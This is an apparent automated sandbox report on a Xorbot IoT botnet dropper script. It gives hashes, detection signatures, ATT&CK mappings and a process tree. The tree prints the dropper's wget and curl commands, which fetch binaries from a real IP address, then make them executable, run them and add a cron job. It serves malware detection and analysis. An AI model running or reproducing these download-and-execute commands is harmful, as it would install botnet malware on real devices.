xorbot | 60f4eb45bb42f23cf8727d9adc2c3fdd644bb4ce8f006654a098f0e0dd84f114

Analysis

max time kernel
150s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
06/12/2024, 09:09

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General

Target

bins.sh
Size

10KB
MD5

4a385ff49e17a3834bcfcacbda035d68
SHA1

58503c4960388791963adc51d9f29519dba7abb9
SHA256

60f4eb45bb42f23cf8727d9adc2c3fdd644bb4ce8f006654a098f0e0dd84f114
SHA512

ad730deb822ead8284f3829f6657964c18a1a6f1427c1a0e1fb6c9f9d4d6e56ec404a24af98b7e553502b0950f96da4d064fe4c54b12b1f2749911995cd05882
SSDEEP

192:DgFrLINhLoQKxTAF91iGGdILKNhLoQUsF91iGa:DgFrLINhLoQKxT9dILKNhLoQUz

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
686	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3	687	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3

Renames itself 1 IoCs

pid	Process
688	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.kaSRbg	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/23/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/738/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/19/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/20/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/43/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/264/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/450/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/11/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/13/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/710/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/767/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/793/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/21/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/607/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/662/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/704/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/4/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/758/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/663/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/785/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/14/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/16/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/22/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/29/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/200/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/28/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/2/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/761/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/798/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/167/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/260/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/733/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/763/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/769/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/41/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/724/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/731/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/803/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/3/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/697/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/712/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/742/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/783/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/790/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/802/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/644/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/694/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/729/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/740/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/27/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/300/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/701/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/787/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/726/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/741/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/757/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/10/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/293/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/649/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/703/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/719/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/759/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
File opened for reading	/proc/775/cmdline	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3	wget
File opened for modification	/tmp/8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3	curl
File opened for modification	/tmp/8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:652
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:657
- /usr/bin/wget
  wget http://216.126.231.240/bins/8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
  2⤵
  - Writes file to tmp directory
  PID:661
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:676
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
  2⤵
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod 777 8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
  2⤵
  - File and Directory Permissions Modification
  PID:686
- /tmp/8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
  ./8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:687
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:689
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:690
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:691
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:692
- /bin/rm
  rm 8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
  2⤵
  PID:694
- /usr/bin/wget
  wget http://216.126.231.240/bins/oghuqUCi42fO8OW6tLUHfl5DNxdPQi4Qoz
  2⤵
  PID:697
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/oghuqUCi42fO8OW6tLUHfl5DNxdPQi4Qoz
  2⤵
  PID:698

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/var/spool/cron/crontabs/tmp.kaSRbg

Filesize
210B

MD5
611ecc6df72e2151628ea30a278a7839

SHA1
7513b503ed00da6016891cca990135b2f26be6bd

SHA256
87f7ab9cf58d804c7e207787be06c05fa64caefbd548baa9b8b04fe67ed33b35

SHA512
1125b867f08994c803ad29e4d6fe95892ad03e9e5a4542c89f1701c1ec17aa53a6b0d9a1475413217c0593005f6c7225a1bb1f9872566da6b5318e93b98e624c

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads